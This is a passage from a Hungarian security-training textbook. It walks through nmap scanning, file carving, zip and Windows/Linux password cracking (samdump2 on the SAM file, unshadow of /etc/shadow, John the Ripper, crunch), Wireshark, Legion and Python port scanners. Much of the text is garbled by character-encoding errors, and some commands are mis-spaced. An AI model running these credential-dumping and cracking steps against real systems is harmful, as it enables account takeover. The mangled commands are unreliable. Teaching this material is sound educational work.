  -S enged®lyezi az alv§sidŖ elnyom§s§t az egyes k®r®sek kºzºtt (hardcore m·d) 

Például.: 

sudo netdiscover - f - i eth0 - r 192.168.1.101/24  

 

27. ábra A hálózat feltérképezése 

Az eredmény a fentihez hasonló. Ebben a listában van a célpont számítógép.  

nmap 

Gépeljük be, hogy  

nmap - v - A - Pn 192.168.1.10 1.  

Az eredm®nyt az al§bbi k®pernyŖ mutatja: 
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28. ábra Nyitott portok felfedezése 

A k®pernyŖn l§that·, hogy milyen oper§ci·s rendszereket ®s azokon, milyen nyitott portok vannak. 

TÖRÖLT ADATOK HELYREÁLLÍTÁSA  

Ebben a fejezetben kitörlünk egy fájlt a pendrájvon és aztán helyreállítjuk. Egy USB pendrive 

hozz§csatol§sa a virtu§lis g®p¿nkhºz a kºvetkezŖk®ppen lehets®ges: 

 

29. ábra Pendrive csatolása 

Helyezzünk el két png fájlt a pendrájvon, majd töröljünk egyet. A pendrive most a kºvetkezŖk®ppen 

jelenik meg: 
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30. ábra Fájlok törlése 

Készítsünk egy lemezképet az usb meghajtóról. 

az fdsik -l használatával határozzuk meg, hogy melyik eszköz a pendrive. Az eszköznevek általában 

/dev /valami formátumban vannak. Esetünkben ez a /dev /sdb1 

A dd paranccsal másolatot készíthet a meghajtóról. 

if = a bemeneti paramétert határozza meg, az of= a kimeneti képfájl nevét határozza meg. Egy harmadik 

param®tert haszn§ltunk az elŖrehalad§s megjelen²t®s®re, mivel a folyamat hossz¼ ideig is tarthat. 
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31. §bra Lemezk®p elŖ§ll²t§sa 

Ezt a lemásolt lemezképet fogjuk vizsgálni.  

A folyamat neve carving (faragás). Azt értjük alatta, hogy helyre kell állítani a fájlokat egy fizikai 

t§rol·eszkºzrŖl a f§jlok tºrl®se, az eszkºz tºrl®se vagy az eszkºz r®szleges megsemmis²t®se ut§n. Ezen 

a ponton az eszkºzºn l®vŖ adatok csak ¼gy n®znek ki, mint a "nyers b§jtok" sorozata ï ez az a 

b§jtsorozat, amely nem tartalmaz inform§ci·t arr·l, hogy hol kezdŖdik vagy v®gzŖdik ebben a fájl vagy 

fájlok. 

Számítógépek esetén a fájl "törlése" nem feltétlenül jelenti azt, hogy a fájlban tárolt adatok (a fájlt 

tartalmaz· b§jtok) eltŤntek. A fájlrendszerek megjelölik fájlt (annak nevét és adatait), hogy szabadon 

felhasználható.  Ezek a bájtok allokálatlan területté ("unallocated space".) válnak. 

A fájl bájtblokkból való Ăkifarag§s§hozò az alkalmazásnak meg kell keresnie a fájl fejlécét (és a 

f§jlt²pust·l f¿ggŖen a l§bl®cét). Például a PNG -fájl fejléce (hexadecimális formában) 89 50 4e 47, a 

lábléce pedig 49 45 4e 44 ae 42 60 82. Az alábbiakban egy példát mutatunk egy meghajtóban l®vŖ 
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adatter¿let egy darabj§ra. Ha alaposan megn®zz¿k, ®szrevesz¿nk egy PNG fejl®cet ®s azt kºvetŖen egy 

PNG láblécet (kékkel jelölve), és így arra következtethetünk, a fejléc és lábléc közötti adat (sárgával 

jelölve) egy PNG fájlt. 
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32. ábra Egy png fájl struktúrája 

Kalinak van egy carving eszköze a Scalpel. Alapértelmezés szerint minden fájltípus ki van 

kommentezve. Nyissuk meg a scapel.conf fájlt és töröld ki a comment jelet (#) ahol a png fejléc és 

lábléc van megadva.  

 

33. ábra Scalpel beállítás 

Most futtasd a Scalpel programot. Az elsŖ param®ter a bemeneti k®pf§jl, a m§sodik param®ter egy 

kimeneti könyvtár, amelynek üresnek kell lennie. 

 

Mint látható, a Scalpel két fájlt talált.

 
34. ábra Scalpel találati oldal 
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A kimeneti mappát megnyitva mindkét fájl megtalálható. 

 

35. ábra Törölt fájlok visszaállítása 

PASSWORD CRACKING 

Hozzunk létre három dokumentumfájlt doc1, doc2 és doc3 néven: 

touch doc1 doc2 doc 3  

Hozzunk létre egy jelszóval védett zip fájlt: 

zip - e documents.zip doc1 doc2 doc3  

A jelszó legyen ópasswordô id®zŖjelek n®lk¿l.  
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36. ábra zip fájl létrehozása 

 

ElŖszºr egy sz·list§s t§mad§st fogunk alkalmazni. Ha van egy adatb§zisunk a gyakori jelszavakr·l, 

akkor ezeket a szavakat egyesével végig fogjuk próbálgatni. Most egy ilyen adatbázist fogunk 

használni, ennek neve fasttrack. 

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' documents.zip 

 

37. ábra Jelszótörés 

A megadott jelszó egy másodperc alatt meglett. 

Ezt a t²pus¼ t§mad§st brute force (nyers erŖ) t§mad§snak nevezz¿k. A virtu§lis g®pen nagyon idŖig®nye 

lehet.  

A f§jl titkos²t§s§hoz haszn§lt zip verzi·j§t·l f¿ggŖen az elsŖ t²z vagy tizenegy b§jt v®letlenszerŤ, majd 

egy vagy k®t b§jt kºvetkezik, amelyek ®rt®keit m§shol t§rolja a zip f§jl, ez elŖre ismert. Ha ezeknek az 

utols· b§jtoknak nincs megfelelŖ (ismert) ®rtéke, a jelszó biztosan rossz. Ha a bájtok helyesek, akkor 

lehet, hogy a jelszó helyes, de az egyetlen módszer ennek kiderítésére a fájl kicsomagolása, és a 

tömörítetlen hosszúság és a CRC összehasonlítása. 
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például:  

fcrackzip -b -v -c a -l 8 -p paaaaaaa documents.zip   

Másik szótárfájl is használható pl.: 

gunzip /usr/share/wordlists/rockyou.txt.  

WINDOWS JELSZÓ FELTÖRÉSE 

A Security Account Manager (SAM) egy adatbázisfájl a Windows 10/8/7/XP rendszerben, amely 

titkos²tott form§ban t§rolja a felhaszn§l·i jelszavakat, amelyek a kºvetkezŖ kºnyvt§rban tal§lhat·k: 

C:\Windows\system32\config 

A jelsz· feltºr®s®nek elsŖ l®p®se a jelszavak hash-einek lekérése a SAM fájlból. Ehhez egy k¿lsŖ eszkºz 

szükséges, pl.: 

https://www.openwall.com/passwords/windows-pwdump 

Kali Linux seg²ts®g®vel is lementhetŖ az adat. Linux boot DVD seg²ts®g®vel bel®p¿nk ®s megvizsg§ljuk 

melyik az elsŖdleges Windows part²ci· 

f disk ïl  

A k®pernyŖn l§tszik, hogy ennek a neve  

dev/sda1  

 

38. ábra Windoes jelszó törése 

Hozzunk létre egy cél könyvtárat a mount könyvtárban: 

mkdir /mnt/source  

Mountoljuk be a merevlemezt:  

https://www.openwall.com/passwords/windows-pwdump
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mount /dev/sda1 mnt/source/  

 

39. ábra Forrásfájl mountolása 

Lepjünk be a Windows SAM fájlt tartalmazó könyvtárba 

cd /target/windows/system32/config  

A SamDump2 kinyeri a jelszavak hash értékeit és beírja a root felhasználó könyvtárába. 

samdump2 system SAM > /root/hashes/hash.txt  

samdump2 system  sam - o out  

Néhány példát az alábbi címen találunk: https://openwall.info/wiki/john/sample-hashes. 

Mag§hoz a feltºr®shez a ñJohn the Ripperò nevŤ eszkºzt haszn§ljuk. A men¿ben el®rhetŖ: 
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40. ábra Célkönyvtár megadása 

John the Ripper az alábbi 4 jelszófeltörési módot támogatja: 

1. EgyszerŤ crack mód: az entitásokat lehetséges jelszavaknak tekinti. 

2. Szólista mód: minden szót végig próbál a szólistában. 

3. Növekményes mód (Brute-Force attack): minden lehetséges karakterkombinációt kipróbál. 

4. K¿lsŖ m·d: az alkalmazás egy programot használ, amely generálja a lehetséges jelszavakat.  

Nézzük, hogyan törjük fel az alábbi Windows jelszót: 

 

41. ábra A jelszavakat tároló fájl tartalma 

Futtassuk John the Ripper-t 

john ïformat=NT ïsingle ~/Documents/pwdhash.txt  

NT a Windows jelszó formátumot jelenti. 
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42. ábra A jelszófeltörés futtatása 

Magát a jelszót így jeleníthetjük meg: 

john ïshow ïsingle ~/Documents/pwdhash.txt  

Mint l§that·, az Ău0ò felhaszn§l· jelszava 12345 

Linux jelszó feltörése 

ElŖszºr hozzunk létre egy másolatot a jelszó- és shadow (árnyék) fájlokról John shadow parancsával. 

Ehhez root jogosultságokra van szükség. 

unshadow /etc/passwd /etc/shadow > mypasswd  

 

 

43. ábra A shadow fájl megjelenítéséhez rendszergazdai jogosultság szükséges 

A sudo su  parancs kiadása után az unshadow már lefut:  

 

44. ábra Az unshadow futási eredménye 

Az egyszerŤs®g kedv®®rt haszn§ljuk az alap®rtelmezett be§ll²t§sokat. Mivel a m§solat neve mypasswd, 

a parancs a kºvetkezŖ: 

john mypasswd  
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45. ábra A feltörés futtatása 

Ha lefutott a folyamat, az eredm®ny megtekinthetŖ: 

john ï show mypasswd  

 

46. ábra Szólista használata 

Ha szólistát szeretnénk használni, akkor megadhatjuk annak fájlnevét: 

john -- wordlist=password.lst -- rules mypasswd  

Szólista létrehozása jelszó töréshez 

A saját szólista létrehozásához használjuk a crunch-ot. A crunch a megadott feltételek alapján létrehoz 

egy sz·list§t. A crunch kimenete elk¿ldhetŖ a k®pernyŖre, a f§jlba vagy egy m§sik programba. 

használat: crunch <min> <max> [options] 

ahol min és max egy-egy szám. 

A súgóban számos jó példa található, amely megkönnyít a használatot.  

1. példa 

crunch 1 8  

A crunch egy szólistát jelenít meg, amely a -val kezdŖdik ®s zzzzzzzz -vel v®gzŖdik 

2. Példa 

crunch 1 6 abcdefg  

A crunch egy szólistát jelenít meg az abcdefg karakterkészlettel, amely a -val kezdŖdik ®s gggggg -vel 

v®gzŖdik. 

3. Példa 

crunch 1 6 abcdefg \  

a karakterlánc végén szóköz van. Annak érdekében, hogy a crunch érzékelje a szóközt, a \ karakter 

seg²ts®g®vel eszk®peli azt. Ebben a p®ld§ban id®zŖjeleket is tehet¿nk a betŤk kºr®, ®s akkor nem kell a 

\, azaz "abcdefg ". Eredményként a Crunch egy szólistát jelenít meg az abcdefg karakterkészlettel, 

amely a -val kezdŖdik ®s (6 sz·kºzzel) v®gzŖdik. 

4. Példa 
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crunch 8 8 - f charset.lst mixalpha - numeric - all - space - o wordlist.txt - t 

@@dog@@@ - s cbdogaaa  

A crunch-nak l®tre kell hoznia egy 8 karakterbŖl §ll· sz·list§t a charset.lst-bŖl sz§rmaz· 

karakterk®szlettel, ®s a sz·list§t a wordlist.txt nevŤ f§jlba ²rja. A f§jl cbdogaaa -val kezdŖdik ®s "  dog 

" a v®gzŖd®se 

5. Példa 

crunch 2 3 - f charset.lst ualpha - s BB  

A crunch elkezdi a szólista generálását BB-nél és ZZZ nél fejezi be 

6. Példa 

crunch 4 5 - p abc  

A számok nincsenek feldolgozva, de szükségesek. Crunch ezt generálja: abc, acb, bac, bca, cab, cba. 

7. Példa 

crunch 4 5 - p dog cat bird  

A számok nincsenek feldolgozva, de szükségesek. Crunch ezt generálja: birdcatdog, birddogcat, 

catbirddog, catdogbird, dogbirdcat, dogcatbird. 

Szivárvány táblák (Rainbow tables) 

A szivárványtáblák speciális szótártáblák (adatbázisok), amelyek hash értékeket tartalmaznak a sima 

szºveges sz·t§ri jelszavak helyett. ezekkel hajtjuk v®gre a t§mad§st. A kºvetkezŖ p®lda a 

RainbowCrack segítségével szivárványtáblát készít. 

 

47. ábra Szivárványtábla készítése 

Néhány konverziós funkció: 
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48. ábra Konverziós funkciók 

 

A sziv§rv§ny t§bl§k gener§l§sa nagyon idŖig®nyes. 

 

49. ábra RainbowCrack használati példa 

Védekezés a szivárvány táblák ellen 

A sziv§rv§ny t§bl§k nem hat®konyak azokn§l az egyir§ny¼ hash algoritmuskn§l, ahol nagy m®retŤ Ăs·ò 

seg²ts®g®vel tºrt®nik a k·dol§s. Teh§t adj egy kis  ñs·tò a jelszóhoz és annak a hash-ját generáljuk le: 

saltedhash(password) = hash(password + salt) 

A nagy m®retŤ s· az elŖre kisz§m²that· t§bl§kat elronthatja. 

WIRESHARK 

A Wireshark egy csomag lehallgat· ®s elemzŖ eszkºz. A Ăcsomagò egy darab ¿zenet valamilyen 

hálózati protokollból (azaz TCP, DNS stb.). A Wireshark rögzíti a hálózati forgalmat a helyi hálózaton, 

és eltárolja ezeket az adatokat offline elemzéshez. az adatforrás lehet: 

¶ Ethernet,  

¶ Bluetooth,  

¶ Wireless (IEEE.802.11),  

¶ Token Ring, etc. 
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A Wireshark kezdŖk®pernyŖje: 

 

50. ábra Wireshark kezdŖk®pernyŖ 

Az ábrán az eth0 adapter mellett egy kis grafikon láható. Ez azt jelenti, hogy az eth0 adapter hálózati 

forgalmat bonyol²t. Ha kettŖt kattintunk az adapterre, akkor a forgalmi adatok oldal jelenik meg. 

51. ábra Forgalmi adatok 

Miután rögzítettünk néhány csomagot, vagy megnyitottunk egy korábban mentett rögzítési fájlt, 

megtekinthetjük egy adott csomag adatait a csomagok listájából. Ehhez egyszerŤen r§kattintunk egy 

csomagra, a z eszköz ekkor megjeleníti a kiválasztott csomagot fa nézetben és bájt nézet ablakban. 

A fa bármely részét tovább bonthatjuk és részletes információt tekinthetünk meg egyes csomagok 

protokolljairól. A fa egy elemére kattintva bájt nézetet kapunk. Például egy TCP csomag kiválasztása 

látható az ábrán. Az üzente fejléce is számos információt tárol [3]. 
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52. ábra TCP csomag fejléce 

Az adatoszlopok adatait r®szletesen a felsŖ r®sz mutatja [2]: 

No.: Ez a rögzített adatcsomag sorszáma. A zárójel azt jelzi, hogy ez a csomag egy beszélgetés része. 

IdŖ: Ez az oszlop azt mutatja meg, hogy a rºgz²t®s megkezd®se óta mikor rögzítették ezt a csomagot. 

Ezt az értéket a Beállítások menüben módosíthatjuk. 

Forr§s: Ez a csomag c²m®t k¿ldŖ rendszer c²me. 

Cél: Ez a csomag címzettjének címe. 

Protokoll: Ez a csomag típusa, például TCP, DNS, DHCPv6 vagy ARP. 

Hossz: Ez az oszlop a csomag hosszát mutatja bájtban. 

Inform§ci·: Ez az oszlop tov§bbi inform§ci·kat tartalmaz a csomag tartalm§r·l, ®s att·l f¿ggŖen 

változik, hogy milyen csomagról van szó. 

Ha a hálózati forgalmat vizsgáljuk akkor rengeteg csomagot fogunk látni. A Wireshark két módszerrel 

csºkkenti az elemzendŖ adatok mennyis®g®t: 

¶ felv®teli szŤrŖk ®s 

¶ n®zet szŤrŖk 

alkalmazásával. 

Ha egy adott gazdagép forgalmát szeretnéd rögzíteni, írd be 

host 192.168.1.101  

Egy port tartomány megadása: 

net 192.168. 1. 100 /24  

Megadhatsz egyedi port számokat is pl.: Domain Name Services port (53) 

port 53  

 

Számos statisztika áll rendelkezésre: 
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53. ábra Statisztikák megjelenítése 

LEGION 

A Legion egy ny²lt forr§sk·d¼ alkalmaz§s, amelyet h§l·zatok felder²t®s®re ®s inform§ci·gyŤjt®sre 

fejlesztettek ki, ®s k¿lºnºsen n®pszerŤ Kali Linux kºrnyezetben. Az eszkºz c®lja a h§l·zati rendszerek 

biztonsági auditálása és a hálózati sérülékenységek felderítése, amelyet egy könnyen használható 

grafikus felhasználói felülettel (GUI) biztosít a recon-ng keretrendszerhez. A Legion segítségével 

automatiz§lt inform§ci·gyŤjt®st v®gezhet¿nk, amely gyorsan ®s hat®konyan felt®rk®pezi az IP-címek, 

domain nevek és hálózati szolgáltatások részleteit. Az alkalmazás integrálja az Nmap eszközt, így 

portszkenneléseket hajt végre és felismeri a nyitott portokat, valamint az ott futó szolgáltatásokat, ezzel 

segítve a sérülékeny pontok gyors azonosítását. 

A Legion további fontos képessége, hogy adatbázisokhoz, fájlmegosztásokhoz és hálózati 

szolgáltatásokhoz kapcsolódó sérülékenységeket keres, amivel biztonsági hibák feltérképezését 

t§mogatja. Modul§ris fel®p²t®se lehetŖs®get biztos²t tov§bbi inform§ci·gyŤjtŖ funkci·k egyszerŤ 

hozz§ad§s§ra, ²gy a felhaszn§l·k ig®nyeik szerint bŖv²thetik az eszkºzt. A szkennel®sek eredm®nyeit 

j·l §ttekinthetŖ form§ban jelen²ti meg, emellett az adatokat export§lhat· form§tumban is el®rhetŖv® 

teszi, ami nagyban megkönnyíti a jelentéskészítést és dokumentálást. 

A Legion teh§t egyszerŤs²ti a h§l·zatfel¿gyeleti ®s s®r¿l®kenys®gvizsg§lati folyamatokat azzal, hogy 

tºbbf®le biztons§gi eszkºz §ltal ºsszegyŤjtºtt adatokat egyetlen, vizu§lisan §tl§that· fel¿letre hoz. 

KezdŖk ®s halad· felhaszn§l·k sz§m§ra egyar§nt hasznos, mivel gyorsan hozzáférést biztosít a részletes 

elemz®sekhez ®s a kºnnyen ®rtelmezhetŖ riportokhoz, ²gy a Kali Linux kºrnyezetben dolgoz· 

biztons§gi szak®rtŖk sz§m§ra egy megb²zhat· ®s k®nyelmes megold§st k²n§l.  
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54. §bra SebezhetŖs®gi vizsg§lat Legion alkalmazással 

Miután megadtuk55. ábra Legion futtatása az ellenŖrizendŖ IP -tartom§nyt, a Legion ºsszegyŤjti az adatokat a 

sz§m²t·g®prŖl. 

 

 

Számos beállítás áll rendelkezésre: 
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56. ábra A beállítások 

Van brute force t§mad§sra is lehetŖs®g: 

 

57. ábra Támadás kivitelezése 
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BIZTONSÁGI ESZKÖZÖK FEJLESZTÉSE 

PYTHON NYELVEN  

PYTHON PORT SCANNER 

A portok a hálózati kommunikációban olyan logikai végpontok, amelyeket a számítógépek és szerverek 

haszn§lnak a k¿lºnbºzŖ alkalmazások és szolgáltatások közötti adatáramlás szabályozására és 

azonos²t§s§ra. A portok lehetŖv® teszik, hogy tºbb k¿lºnbºzŖ alkalmaz§s egyszerre kommunik§ljon az 

interneten vagy helyi hálózaton keresztül anélkül, hogy összekevernék az adatokat. 

A socket kommunikáció során a portok biztosítják, hogy az adott számítógéphez vagy szerverhez 

be®rkezŖ adatokat a megfelelŖ alkalmaz§s vagy szolg§ltat§s kapja meg. Minden sz§m²t·g®pen tºbb ezer 

k¿lºnbºzŖ port el®rhetŖ, amelyek lehetŖv® teszik, hogy k¿lºnbºzŖ protokollokat ®s alkalmaz§sokat 

azonosítsanak. Minden port egyedi számmal rendelkezik (0 és 65535 között), és különféle 

alkalmaz§sokhoz vagy szolg§ltat§sokhoz rendelhetŖk. P®ld§ul: 

¶ a 80-as port gyakran a HTTP (Hypertext Transfer Protocol) szolgáltatásé, amelyen keresztül a 

weboldalak bºng®szŖben megtekinthetŖk. 

¶ a 443-as port a HTTPS (Hypertext Transfer Protocol Secure) kommunikációhoz használatos, 

amely biztonságos, titkosított adatkapcsolatot nyújt. 

¶ a 22-es port az SSH (Secure Shell) kapcsolatokhoz, azaz biztonságos távoli belépéshez 

használt. 

A portok az adatátvitel irányítására szolgálnak a különféle alkalmazások között. Amikor egy alkalmazás 

elindul, és hálózati kapcsolatra van szüksége, az operációs rendszer számára lefoglal egy portot, 

amelyen kereszt¿l el®rhetŖv® v§lik. Ha p®ld§ul egy webszerver mŤkºdik, akkor az a 80-as porton 

fogadja a be®rkezŖ k®r®seket, m²g egy FTP (File Transfer Protocol) szerver a 21-es porton kommunikál. 

Ezzel biztos²that·, hogy az adatok mindig a megfelelŖ szolg§ltat§shoz vagy alkalmaz§shoz jussanak el. 

A nyitott portok jelentŖs biztons§gi kock§zatot hordozhatnak, mivel lehetŖs®get adnak a t§mad·knak, 

hogy hozzáférjenek a számítógéphez vagy hálózati rendszerhez. Ha egy port nyitva van, azt jelenti, 

hogy a rendszeren futó alkalmazás vagy szolgáltatás várja az adatforgalmat azon a porton keresztül, így 

el®rhetŖv® v§lik a k¿lsŖ h§l·zati k®r®sek sz§m§ra is. Ez sz§mos vesz®lyt rejthet mag§ban, k¿lºnºsen 

akkor, ha a nyitott port nincs megfelelŖen biztos²tva vagy v®dve. 

FŖ biztons§gi kock§zatok nyitott portok eset®n 

1. Támadási felület növelése: Minden nyitott port újabb belépési pontot jelenthet a támadók számára. 

Minél több port van nyitva, annál nagyobb a kockázata annak, hogy a támadók találnak egy 

sebezhetŖs®get, amelyet kihaszn§lhatnak. A t§mad·k §ltal§ban automatikusan szkennelik a hálózatokat 

nyitott portok ut§n kutatva, ®s ha egy port nyitott, nagyobb val·sz²nŤs®ggel pr·b§lnak meg t§mad§st 

indítani ellene. 

2. Szolgáltatás-sebezhetŖs®gek: Egy nyitott port mºgºtt fut· alkalmaz§s vagy szolg§ltat§s sebezhetŖ 

lehet ismert vagy új támadásokkal szemben. Ha például egy régebbi verziójú webszerver fut a nyitott 

porton, amelyen ismert biztonsági rések találhatók, a támadók ezt kihasználhatják, hogy jogosulatlan 

hozzáférést szerezzenek, vagy más módon támadást hajtsanak végre. 
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3. T§voli hozz§f®r®s: Bizonyos nyitott portokhoz kapcsol·d· szolg§ltat§sok lehetŖv® teszik a t§voli 

hozzáférést a rendszerhez, például SSH (22-es port), RDP (3389-es port), vagy adatbázis-

szolg§ltat§sok. Ha ezek a portok nincsenek megfelelŖen v®dve (p®ld§ul erŖs jelszavak, k®tfaktoros 

hiteles²t®s vagy tŤzfalak alkalmaz§sa §ltal), a t§mad·k kºnnyen hozz§f®r®st szerezhetnek a rendszerhez, 

és onnan további támadásokat indíthatnak. 

4. Adatsziv§rg§s ®s inform§ci·gyŤjt®s: A t§mad·k egy nyitott port seg²ts®g®vel k®pesek lehetnek 

inform§ci·kat gyŤjteni a rendszerrŖl ®s annak konfigur§ci·j§r·l. Ez az inform§ci· lehetŖs®get ny¼jt 

számukra a rendszer gyenge pontjainak feltérképezésére, és további támadási stratégiák kialakítására. 

5. Szolgáltatásmegtagadási (DoS) támadások: Nyitott portokon keresztül a támadók 

szolgáltatásmegtagadási támadásokat is indíthatnak, amelyek célja a rendszer vagy szolgáltatás 

mŤkºd®s®nek megzavar§sa. Ilyen t§mad§sok sor§n hatalmas mennyis®gŤ k®r®st k¿ldenek az adott 

porton futó szolgáltatásnak, amivel túlterhelik azt, ami végül a szolgáltatás leállásához vezethet. 

6. Malware ®s botnet fertŖz®s: A t§mad·k a nyitott portokat haszn§lhatj§k arra, hogy rosszindulat¼ 

programokat juttassanak a rendszerre, vagy hogy a számítógépet botnethálózathoz csatlakoztassák. 

Ez§ltal a fertŖzºtt rendszer egy nagyobb, tºbb g®pbŖl §ll· támadó hálózat részeként szolgálhat, például 

további támadások indításához vagy spamküldéshez. 

A nyitott portok elleni védekezés 

A nyitott portok kockázatának minimalizálásához érdemes csak a szükséges portokat engedélyezni, a 

nem sz¿ks®geseket pedig lez§rni. Tov§bb§ a rendszergazd§k gyakran alkalmaznak tŤzfalakat, 

behatolásvédelmi rendszereket (IDS) és rendszeres portszkenneléseket, hogy ellenŖrizz®k ®s figyelj®k 

a h§l·zati portokat. Emellett fontos a szoftverek ®s szolg§ltat§sok naprak®szen tart§sa, erŖs jelszavak 

®s hiteles²t®si m·dszerek alkalmaz§sa, ®s a h§l·zati forgalom szŤr®se a potenci§lis t§mad§sok 

megelŖz®se ®rdek®ben. 

Az alábbi kód egy port scannert valósít meg python nyelven 

https://www.geeksforgeeks.org/port-scanner-using-python/ 

 1. import  pyfiglet  
 2. import  sys  
 3. import  socket  
 4. from  datetime import  datetime  
 5.   
 6. ascii_banner = pyfiglet . figlet_format ( "PORT SCANNER")   
 7. print ( ascii_banner )   
 8.   
 9. # Defining a target  
10. if  len ( sys . argv )  == 2:   
11.   
12.  # translate hostname to IPv4  
13.  target = socket . gethostbyname ( sys . argv [ 1])   
14. else :   
15.  print ( "Invalid ammount of Argument" )   
16.   
17. # Add Banner  
18. print ( " - "  *  50)   
19. print ( "Scanning Target: "  + target )   
20. print ( "Scanning started at:"  + str ( datetime . now()))   
21. print ( " - "  *  50)   
22.   
23. try :   
24.   
25.  # will scan ports between 1 to 65,535  
26.  for  port in  range ( 1, 65535):   
27.   s = socket . socket ( socket . AF_INET,  socket . SOCK_STREAM)   
28.   socket . setdefaulttimeout ( 1)   
29.    

https://www.geeksforgeeks.org/port-scanner-using-python/
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30.   # returns an error indicator  
31.   result = s. connect_ex (( target , port ))   
32.   if  result == 0:   
33.    print ( "Port {} is open" . format ( port ))   
34.   s. close ()   
35.    
36. except  KeyboardInterrupt :   
37.   print ( " \ n Exitting Program !!!!" )   
38.   sys . exit ()   
39. except  socket . gaierror :   
40.   print ( " \ n Hostname Could Not Be Resolved !!!!" )   
41.   sys . exit ()   
42. except  socket . error :   
43.   print ( " \  Server not responding !!!!" )   
44.   sys . exit ()   
45.   

 

PORT SZKENNER PYTHON-NMAP SEGÍTSÉGÉVEL 

https://www.geeksforgeeks.org/port-scanner-using-python-nmap 

ElsŖ l®p®s a telep²t®s: 

pip install python - nmap 

 1. import  nmap  
 2.   
 3. # take the range of ports to  
 4. # be scanned  
 5. begin  = 75 
 6. end = 80 
 7.   
 8. # assign the target ip to be scanned to  
 9. # a variable  
10. target = '127.0.0.1'  
11.   
12. # instantiate a PortScanner object  
13. scanner = nmap. PortScanner ()   
14.   
15. for  i in  range ( begin , end+1):   
16.   
17.  # scan the target port  
18.  res = scanner . scan( target , str ( i ))   
19.   
20.  # the result is a dictionary containing  
21.  # several information we only need to  
22.  # check if the port is opened or closed  
23.  # so we will access only that information  
24.  # in the dictionary  
25.  res = res [ 'scan' ][ target ][ 'tcp' ][ i ][ 'state' ]   
26.   
27.  print ( f 'port {i} is {res}.' )   
28.   

 

Kód elemzése 

Importálások:  

pyfiglet: ASCII karakteres grafika generálására használható, amely a programban a bannerhez 

szükséges. 

sys: Parancssori argumentumok kezeléséhez. 

https://www.geeksforgeeks.org/port-scanner-using-python-nmap
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socket: Hálózati kommunikációhoz szükséges Python könyvtár, amely TCP-kapcsolatokat és 

portkezelést biztosít. 

datetime: IdŖb®lyeg hozz§ad§s§hoz, ami megjelen²ti a portszkennel®s kezdeti idej®t. 

Banner létrehozása: 

1. ascii_banner = pyfiglet . figlet_format ( "PORT SCANNER")   
2. print ( ascii_banner )    

A pyfiglet könyvtár használatával "PORT SCANNER" felirat jelenik meg ASCII formában, hogy 

vizuálisan jelezze a program célját. 

Célpont definiálása: 

1. if  len ( sys . argv )  == 2:   
2.     target = socket . gethostbyname ( sys . argv [ 1])  
3. else :   
4.     print ( "Invalid amount of Argument" )  
5.   

A program parancssori argumentumokat vár; konkrétan egy darab argumentumot, amely a célpont 

hosztneve vagy IP-címe. Ha megadták az argumentumot, akkor azt IPv4 címre fordítja 

(socket.gethostbyname(sys.argv[1])), amely a célpont IP-címét adja vissza. Ha nincs megadva a 

szükséges argumentum, a program értesítést küld a felhasználónak, hogy az argumentumok száma 

helytelen. 

Banner ®s kezd®si idŖ kijelz®se: 

1. print ( " - "  *  50)  
2. print ( "Scanning Target: "  + target )  
3. print ( "Scanning started at:"  + str ( datetime . now()))  
4. print ( " - "  *  50)   

A kód szöveges bannert ad meg, amely megjeleníti a célpont IP-címét és a szkennelés kezdetének 

idŖpontj§t. 

Portok szkennelése: 

1. for  port in  range ( 1, 65535):  
2.     s = socket . socket ( socket . AF_INET,  socket . SOCK_STREAM)  
3.     socket . setdefaulttimeout ( 1)  
4.      
5.     result = s. connect_ex (( target , port ))  
6.     if  result == 0:  
7.         print ( "Port {} is open" . format ( port ))  
8.     s. close ()  

A program itt egy for ciklust használ, hogy az összes, 1 és 65535 közötti portot átvizsgálja. Minden 

porton l®trehoz egy TCP socket kapcsolatot (socket.SOCK_STREAM), hogy ellenŖrizze, nyitva van-

e. A connect_ex metódus egy értéket ad vissza, amely 0, ha a port el®rhetŖ (nyitva van), ®s 1 (vagy 

egyéb hibakód), ha a kapcsolat nem jött létre (zárt port). Ha a port nyitva, akkor kiírja: "Port [port szám] 

is open". 

Hibakezelés: 

KeyboardInterrupt: Ha a felhasználó megszakítja a programot (Ctrl + C), akkor a program ezt érzékeli 

és üzenetet küld: "Exiting Program !!!!". 

socket.gaierror: Ha a célzott hosztnevet nem lehet feloldani IP-címre, a program értesíti a felhasználót: 

"Hostname Could Not Be Resolved !!!!". 

socket.error: Ha a célzott szerver nem válaszol, akkor kiírja: "Server not responding !!!!". 
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Ez a k·d minden portot megvizsg§l, ami jelentŖs erŖforr§sig®nyt ®s idŖt eredm®nyezhet, k¿lºnºsen 

akkor, ha a h§l·zati kapcsolat lass¼ vagy a c®l szerver idŖkorl§tot szab a kapcsolatokra. Az ilyen t²pus¼ 

portszkennel®s h§l·zati t§mad§snak is minŖs¿lhet, ez®rt csak akkor szabad futtatni, ha jogosultságunk 

van a c®lrendszer ellenŖrz®s®re. 

  



BIZTONSÁGI ESZKÖZÖK FEJLESZTÉSE PYTHON NYELVEN  

 

 63 

 

ÁLTALÁNOS UDP ÉS TCP SZKENNER IMPLEMENTÁCIÓ PYTHONBAN 

Az általános UDP és TCP port szkennerek jóval átfogóbb és részletesebb elemzést nyújtanak a hálózati 

infrastrukt¼ra §llapot§r·l az egyszerŤ port szkennerekhez k®pest. M²g egy egyszerŤ port szkenner 

gyakran csak alapszintŤ TCP-szkennelést végez, addig az általános szkennerek mind a TCP, mind az 

UDP portokat ellenŖrzik. Ez k¿lºnºsen fontos, mivel az UDP protokollra ®p¿lnek kritikus 

szolgáltatások, például a DNS vagy a DHCP, amelyek szintén vizsgálhatók. 

Az §ltal§nos szkennerek gyakran k¿lºnbºzŖ szkennel®si m·dokat ®s technik§kat is k²n§lnak, mint 

például a gyors és teljes szkennelés, SYN szkennelés, teljes kapcsolat szkennelés, illetve null vagy 

Xmas szkennel®s. Ezekkel a m·dszerekkel sz®lesebb kºrŤ inform§ci·kat gyŤjthet¿nk az el®rhetŖ 

szolg§ltat§sokr·l, ®s nagyobb es®llyel fedhet¿nk fel olyan rendszereket, amelyek egy egyszerŤ 

szkennelés során rejtve maradnának. 

Az §ltal§nos szkennerek ezen fel¿l diagnosztikai lehetŖs®geket is biztos²tanak, p®ld§ul traceroute 

funkciót vagy operációs rendszer azonosítást (OS fingerprintinget), amivel további kontextust adnak a 

hálózat és a kapcsolódó eszközök megismeréséhez. Ez lehetŖv® teszi, hogy a biztons§gi felm®r®st vagy 

hibakeresést pontosabban lehessen végezni. 

Ezek a szkennerek emellett komplex hálózati topológiák elemzésére is alkalmasak, mivel támogatják a 

nagyobb hálózati tartományok, IP-címtartományok és hálózati szegmensek szkennelését, szemben az 

